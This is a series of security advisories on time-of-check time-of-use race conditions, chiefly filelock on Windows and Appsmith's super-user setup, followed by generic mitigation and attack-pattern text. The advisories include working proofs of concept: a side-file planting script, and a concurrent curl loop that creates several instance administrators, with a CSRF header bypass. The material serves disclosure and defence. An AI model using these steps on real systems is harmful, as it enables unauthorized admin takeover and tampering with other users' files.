use_last_error=True)\nadvapi32.LogonUserW.argtypes = [wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)]\nadvapi32.GetUserNameW.argtypes = [wintypes.LPWSTR, ctypes.POINTER(wintypes.DWORD)]\ntoken = wintypes.HANDLE()\nif not advapi32.LogonUserW(user, \".\", password, 3, 0, ctypes.byref(token)):\n raise ctypes.WinError(ctypes.get_last_error())\n\n\ndef current_user() -\u003e str:\n size = wintypes.DWORD(256)\n buffer = ctypes.create_unicode_buffer(size.value)\n advapi32.GetUserNameW(buffer, ctypes.byref(size))\n return buffer.value\n\n\ndef as_lock_user(action):\n if not advapi32.ImpersonateLoggedOnUser(token):\n raise ctypes.WinError(ctypes.get_last_error())\n try:\n return action()\n finally:\n advapi32.RevertToSelf()\n\n\ndef plant(path: pathlib.Path, data: bytes, *, deletable: bool) -\u003e None:\n path.write_bytes(data)\n subprocess.run([icacls, str(path), \"/grant\", \"*S-1-1-0:(M)\"], check=True, capture_output=True)\n if not deletable:\n subprocess.run([icacls, str(path), \"/deny\", \"*S-1-1-0:(D)\"], check=True, capture_output=True)\n\n\ndef acquire(db: pathlib.Path) -\u003e str:\n try:\n with ReadWriteLock(db, is_singleton=False).write_lock(timeout=1):\n pass\n except Exception as error:\n return f\"acquire failed: {type(error).__name__}: {error}\"\n return \"acquired\"\n\n\ndef hot_journal(super_journal: pathlib.Path) -\u003e bytes:\n name = os.fsencode(str(super_journal))\n return name + struct.pack(\"\u003eII\", len(name), sum(name)) + bytes.fromhex(\"d9d505f920a163d7\")\n\n\nprint(\"planting account:\", current_user(), \"| lock account:\", as_lock_user(current_user))\n\ndb = base / f\"{tag}-empty.db\"\nas_lock_user(lambda: db.touch())\nplant(pathlib.Path(f\"{db}-wal\"), b\"\\0\" * 32, deletable=False)\nprint(\"empty database, undeletable -wal:\", as_lock_user(lambda: acquire(db)), \"| -wal still exists:\", pathlib.Path(f\"{db}-wal\").exists())\n\nfor deletable in (True, False):\n db = base / f\"{tag}-tables-{deletable}.db\"\n notes = base / f\"{tag}-notes-{deletable}.txt\"\n\n def prepare() -\u003e None:\n with sqlite3.connect(db) as connection:\n connection.execute(\"CREATE TABLE application (value)\")\n connection.close()\n notes.write_text(\"keep\")\n\n as_lock_user(prepare)\n plant(pathlib.Path(f\"{db}-journal\"), hot_journal(notes), deletable=deletable)\n print(f\"database with a table, {\u0027deletable\u0027 if deletable else \u0027undeletable\u0027} -journal naming the lock account\u0027s file:\",\n as_lock_user(lambda: acquire(db)), \"| named file still exists:\", notes.exists(), \"| -journal still exists:\", pathlib.Path(f\"{db}-journal\").exists())\n```\n\nRecorded output on the VM:\n\n```text\nplanting account: bernat | lock account: fltester\nempty database, undeletable -wal: acquire failed: OperationalError: disk I/O error | -wal still exists: True\ndatabase with a table, deletable -journal naming the lock account\u0027s file: acquired | named file still exists: False | -journal still exists: False\ndatabase with a table, undeletable -journal naming the lock account\u0027s file: acquire failed: OperationalError: unable to open database file | named file still exists: True | -journal still exists: True\n```\n\n## Failure sequence\n\n```mermaid\nflowchart TD\n P[\"other account: create lock.db-wal (or lock.db-journal) beside lock.db in C:/Windows/Temp, grant everyone modify, deny everyone DELETE\"] --\u003e C[\"lock user: ReadWriteLock(lock.db).write_lock(timeout=1)\"]\n C --\u003e O[\"_open_lock_database checks the handle: regular file, no reparse point, header not WAL\"]\n O --\u003e S[\"sqlite3.connect(lock.db) by path, then PRAGMA journal_mode=MEMORY\"]\n S -- \"empty database, undeletable -wal\" --\u003e E1[\"SQLite cannot delete the leftover -wal: OperationalError disk I/O error on every acquire, timeout not consulted\"]\n S -- \"database with a table, writable -journal\" --\u003e E2[\"SQLite treats the journal as hot, replays it and deletes the file its tail names, acquire succeeds\"]\n S -- \"database with a table, read-only -journal\" --\u003e E3[\"OperationalError unable to open database file on every acquire\"]\n classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n class P,C,O,S info;\n class E1,E2,E3 bad;\n```\n\n## Evidence\n\nThe reproducer printed the three lines above on the VM: the undeletable `-wal` beside an empty database made `write_lock(timeout=1)` fail with `OperationalError: disk I/O error` and left the file in place; the writable journal beside a database with one table let the acquire succeed while the file the journal named, created by the lock account with the content `keep`, was gone along with the journal; the read-only journal made the acquire fail with `OperationalError: unable to open database file` and left both files. The review notes that the Windows branch of `_connect` is unchanged since #399, so the behavior is the same at `b831496b0273` and in 4.2.0. The scanner and the maintainers measured the same side-file effects on Linux for GHSA-v4x8-3wr5-3wq8.\n\n## Impact\n\nIn a directory such as `C:\\Windows\\Temp`, another local account turns every `read_lock()` and `write_lock()` on a `ReadWriteLock` database into an immediate `sqlite3.OperationalError`, for as long as its file stays. Callers that handle `Timeout` or `OSError` do not catch it, and the lock user cannot remove the file. With a lock database that holds a table and a journal the lock user can write, the lock user\u0027s process deletes one file of the other account\u0027s choosing, among the files the lock user may delete, and the acquire reports success. The lock\u0027s own database is not changed, nothing is read, and mutual exclusion between processes that acquire the lock holds.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory other accounts cannot create files in: `%LOCALAPPDATA%`, the per-user temporary directory (`%TEMP%` of a user session), or a directory with inheritance removed and only the owner, `SYSTEM` and `Administrators` granted. `C:\\Windows\\Temp` and `C:\\Users\\Public` do not qualify.\n- Treat `sqlite3.OperationalError: disk I/O error` on every acquire as a foreign `\u003cdatabase\u003e-wal` beside the database, which only its creator or an administrator can remove.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/854\n\n## Credits\n\nFound by the maintainers while reviewing the fix for the POSIX form of this defect, GHSA-v4x8-3wr5-3wq8, reported by Anthropic\u0027s OSS Scanner on 15 October 2026 (review round 4, set D, finding F2).\n\n- 2026-10-15 23:08 UTC: report received (36 findings; the Windows side-file effect is not among them)\n- 2026-10-16 01:15 UTC: PR #834 opened, for the POSIX routes\n- 2026-10-16 08:31 UTC: finding identified in the maintainers\u0027 review of PR #834\n- 2026-10-16 22:43 UTC: draft advisory created",
"id": "GHSA-9vhv-jxww-xfm5",
"modified": "2026-10-23T22:28:19Z",
"published": "2026-10-23T22:28:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-9vhv-jxww-xfm5"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/pull/834"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"
},
{
"type": "PACKAGE",
"url": "https://github.com/tox-dev/filelock"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database"
}
GHSA-9WCP-79G5-5C3C
Vulnerability from github – Published: 2026-06-12 18:27 – Updated: 2026-06-12 18:27Summary
The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.
Severity
- CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
- CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)
Affected Version
- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
- Docker image:
appsmith/appsmith-ce:release(pulled 2026-02-25) - Commit:
55ac824f8d42f934cc7a69f8abc52880a6ad39ef
Root Cause
The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:
// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
}
// Step 2: ACT — create user and grant admin (not atomic with Step 1)
return signupAndLogin(user, exchange);
})
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:
public Mono<Boolean> isUsersEmpty() {
return queryBuilder()
.criteria(Bridge.or(
notExists(User.Fields.isSystemGenerated),
Bridge.isFalse(User.Fields.isSystemGenerated)))
.limit(1).all(IdOnly.class).count().map(count -> count == 0);
}
There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.
Proof of Concept
Environment Setup
# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize
Step 1: Verify Fresh State
curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}
Step 2: Send Concurrent Requests
for i in $(seq 1 10); do
curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
-X POST http://localhost:9090/api/v1/users/super \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-By: Appsmith" \
-d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait
# Check results
for i in $(seq 1 10); do
echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done
Step 3: Verify in MongoDB
// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>
// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })
// Check who has manage:users permission
db.user.find(
{ isSystemGenerated: { $ne: true } },
{ email: 1, "policies.permission": 1 }
).forEach(u => {
const hasManage = u.policies?.some(p => p.permission === "manage:users");
printjson({ email: u.email, manage_users: hasManage });
});
// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
{ name: "Instance Administrator Role" },
{ assignedToUserIds: 1 }
);
Observed Results
| Metric | Expected | Actual |
|---|---|---|
| Users created | 1 | 10 |
Users with manage:users policy |
1 | 10 |
| Users in Instance Administrator Role | 1 | 2 |
All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.
Impact
-
Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.
-
Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.
-
Full Instance Compromise: Instance Administrator privileges grant:
- User management (create, delete, modify all users)
- Access to all datasource credentials (database passwords, API keys)
- Modification of all applications and their server-side logic
- Environment configuration (SMTP, OAuth, encryption settings)
Attack Scenario
- Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
- Attacker polls
GET /api/v1/users/me— if the response contains"email": "anonymousUser", the instance has not been set up yet. - Attacker sends multiple concurrent
POST /api/v1/users/superrequests. - Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
- Attacker now has persistent, full administrative access to the instance.
Suggested Fix
Option A: MongoDB Transaction (Recommended)
Wrap the check-and-create in a MongoDB transaction to ensure atomicity:
public Mono<User> signupAndLoginSuper(...) {
return reactiveMongoTemplate.inTransaction().execute(session -> {
return userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(
AppsmithError.UNAUTHORIZED_ACCESS));
}
return signupAndLogin(user, exchange);
});
}).single()
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}
Option B: Distributed Lock
Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:
public Mono<User> signupAndLoginSuper(...) {
return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
.flatMap(lock -> userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(...);
}
return signupAndLogin(user, exchange);
})
.doFinally(signal -> lock.release()));
}
Option C: Unique Constraint
Add a MongoDB unique partial index that prevents more than one super admin:
db.user.createIndex(
{ "isSuperAdmin": 1 },
{ unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);
CSRF Note
The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.99.0"
},
"package": {
"ecosystem": "Maven",
"name": "com.appsmith:server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.99"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T18:27:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.\n\n## Severity\n\n- **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition)\n- **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 **8.1 (HIGH)**\n\n## Affected Version\n\n- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)\n- Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25)\n- Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef`\n\n## Root Cause\n\nThe `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270\u2013295) performs a non-atomic check-then-act sequence:\n\n```java\n// Step 1: CHECK \u2014 query MongoDB for existing users\nuserService.isUsersEmpty()\n .flatMap(isEmpty -\u003e {\n if (!Boolean.TRUE.equals(isEmpty)) {\n return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));\n }\n // Step 2: ACT \u2014 create user and grant admin (not atomic with Step 1)\n return signupAndLogin(user, exchange);\n })\n .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n```\n\nThe `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35\u201344) queries MongoDB without any locking mechanism:\n\n```java\npublic Mono\u003cBoolean\u003e isUsersEmpty() {\n return queryBuilder()\n .criteria(Bridge.or(\n notExists(User.Fields.isSystemGenerated),\n Bridge.isFalse(User.Fields.isSystemGenerated)))\n .limit(1).all(IdOnly.class).count().map(count -\u003e count == 0);\n}\n```\n\nThere is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.\n\n## Proof of Concept\n\n### Environment Setup\n\n```bash\n# Start a fresh Appsmith instance\ndocker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release\n# Wait ~90 seconds for all services to initialize\n```\n\n### Step 1: Verify Fresh State\n\n```bash\ncurl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool\n# Expected: {\"data\": {\"email\": \"anonymousUser\", ...}}\n```\n\n### Step 2: Send Concurrent Requests\n\n```bash\nfor i in $(seq 1 10); do\n curl -s -o /tmp/race_result_${i}.txt -w \"%{http_code}\" \\\n -X POST http://localhost:9090/api/v1/users/super \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n -H \"X-Requested-By: Appsmith\" \\\n -d \"email=racer${i}@evil.com\u0026password=TestP4ssw0rd!\u0026name=Racer${i}\u0026allowCollectingAnonymousData=false\" \u0026\ndone\nwait\n\n# Check results\nfor i in $(seq 1 10); do\n echo \"racer${i}: $(cat /tmp/race_result_${i}.txt)\"\ndone\n```\n\n### Step 3: Verify in MongoDB\n\n```javascript\n// Connect to MongoDB inside the container\n// docker exec -it appsmith-test mongosh \u003cconnection_string\u003e\n\n// Count non-system users (expected: 1, actual: 10)\ndb.user.countDocuments({ isSystemGenerated: { $ne: true } })\n\n// Check who has manage:users permission\ndb.user.find(\n { isSystemGenerated: { $ne: true } },\n { email: 1, \"policies.permission\": 1 }\n).forEach(u =\u003e {\n const hasManage = u.policies?.some(p =\u003e p.permission === \"manage:users\");\n printjson({ email: u.email, manage_users: hasManage });\n});\n\n// Check Instance Administrator Role assignments\ndb.permissionGroup.findOne(\n { name: \"Instance Administrator Role\" },\n { assignedToUserIds: 1 }\n);\n```\n\n### Observed Results\n\n| Metric | Expected | Actual |\n|--------|----------|--------|\n| Users created | 1 | **10** |\n| Users with `manage:users` policy | 1 | **10** |\n| Users in Instance Administrator Role | 1 | **2** |\n\nAll 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.\n\n## Impact\n\n1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests.\n\n2. **Persistent Backdoor**: The attacker\u0027s admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.\n\n3. **Full Instance Compromise**: Instance Administrator privileges grant:\n - User management (create, delete, modify all users)\n - Access to all datasource credentials (database passwords, API keys)\n - Modification of all applications and their server-side logic\n - Environment configuration (SMTP, OAuth, encryption settings)\n\n## Attack Scenario\n\n1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).\n2. Attacker polls `GET /api/v1/users/me` \u2014 if the response contains `\"email\": \"anonymousUser\"`, the instance has not been set up yet.\n3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests.\n4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.\n5. Attacker now has persistent, full administrative access to the instance.\n\n## Suggested Fix\n\n### Option A: MongoDB Transaction (Recommended)\n\nWrap the check-and-create in a MongoDB transaction to ensure atomicity:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n return reactiveMongoTemplate.inTransaction().execute(session -\u003e {\n return userService.isUsersEmpty()\n .flatMap(isEmpty -\u003e {\n if (!Boolean.TRUE.equals(isEmpty)) {\n return Mono.error(new AppsmithException(\n AppsmithError.UNAUTHORIZED_ACCESS));\n }\n return signupAndLogin(user, exchange);\n });\n }).single()\n .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n}\n```\n\n### Option B: Distributed Lock\n\nUse Redis (already available in Appsmith\u0027s stack) to acquire an exclusive lock:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n return redisLockService.acquireLock(\"super-user-setup\", Duration.ofSeconds(10))\n .flatMap(lock -\u003e userService.isUsersEmpty()\n .flatMap(isEmpty -\u003e {\n if (!Boolean.TRUE.equals(isEmpty)) {\n return Mono.error(...);\n }\n return signupAndLogin(user, exchange);\n })\n .doFinally(signal -\u003e lock.release()));\n}\n```\n\n### Option C: Unique Constraint\n\nAdd a MongoDB unique partial index that prevents more than one super admin:\n\n```javascript\ndb.user.createIndex(\n { \"isSuperAdmin\": 1 },\n { unique: true, partialFilterExpression: { \"isSuperAdmin\": true } }\n);\n```\n\n## CSRF Note\n\nThe `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99\u2013102), which is a static, publicly known value.",
"id": "GHSA-9wcp-79g5-5c3c",
"modified": "2026-06-12T18:27:53Z",
"published": "2026-06-12T18:27:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-9wcp-79g5-5c3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/appsmithorg/appsmith"
},
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/releases/tag/v1.99"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators"
}
GHSA-9WXQ-WWQC-X64J
Vulnerability from github – Published: 2022-04-22 00:00 – Updated: 2022-05-05 00:00Time-of-check Time-of-use (TOCTOU) Race Condition vulerability in Foscam R2C IP camera running System FW <= 1.13.1.6, and Application FW <= 2.91.2.66, allows an authenticated remote attacker with administrator permissions to execute arbitrary remote code via a malicious firmware patch. The impact of this vulnerability is that the remote attacker could gain full remote access to the IP camera and the underlying Linux system with root permissions. With root access to the camera's Linux OS, an attacker could effectively change the code that is running, add backdoor access, or invade the privacy of the user by accessing the live camera stream.
{
"affected": [],
"aliases": [
"CVE-2022-28743"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-21T19:15:00Z",
"severity": "HIGH"
},
"details": "Time-of-check Time-of-use (TOCTOU) Race Condition vulerability in Foscam R2C IP camera running System FW \u003c= 1.13.1.6, and Application FW \u003c= 2.91.2.66, allows an authenticated remote attacker with administrator permissions to execute arbitrary remote code via a malicious firmware patch. The impact of this vulnerability is that the remote attacker could gain full remote access to the IP camera and the underlying Linux system with root permissions. With root access to the camera\u0027s Linux OS, an attacker could effectively change the code that is running, add backdoor access, or invade the privacy of the user by accessing the live camera stream.",
"id": "GHSA-9wxq-wwqc-x64j",
"modified": "2022-05-05T00:00:46Z",
"published": "2022-04-22T00:00:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28743"
},
{
"type": "WEB",
"url": "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/keeping-a-critical-eye-on-iot-devices.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9XG5-4CPG-QQXQ
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31Time-of-check time-of-use (toctou) race condition in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-54093"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T17:15:52Z",
"severity": "HIGH"
},
"details": "Time-of-check time-of-use (toctou) race condition in Windows TCP/IP allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-9xg5-4cpg-qqxq",
"modified": "2025-09-09T18:31:20Z",
"published": "2025-09-09T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54093"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9XHF-GX34-9Q2G
Vulnerability from github – Published: 2023-06-28 21:30 – Updated: 2024-04-04 05:16An issue has been discovered in GitLab affecting all versions starting from 15.7 before 15.8.5, from 15.9 before 15.9.4, and from 15.10 before 15.10.1 that allows for crafted, unapproved MRs to be introduced and merged without authorization
{
"affected": [],
"aliases": [
"CVE-2022-4143"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-28T21:15:09Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab affecting all versions starting from 15.7 before 15.8.5, from 15.9 before 15.9.4, and from 15.10 before 15.10.1 that allows for crafted, unapproved MRs to be introduced and merged without authorization",
"id": "GHSA-9xhf-gx34-9q2g",
"modified": "2024-04-04T05:16:11Z",
"published": "2023-06-28T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4143"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1767639"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-4143.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/383776"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C37P-83PH-CF7H
Vulnerability from github – Published: 2026-11-10 21:33 – Updated: 2026-11-10 21:33Double free in Windows Installer allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-119399"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-10T19:19:54Z",
"severity": "HIGH"
},
"details": "Double free in Windows Installer allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-c37p-83ph-cf7h",
"modified": "2026-11-10T21:33:16Z",
"published": "2026-11-10T21:33:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119399"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-119399"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.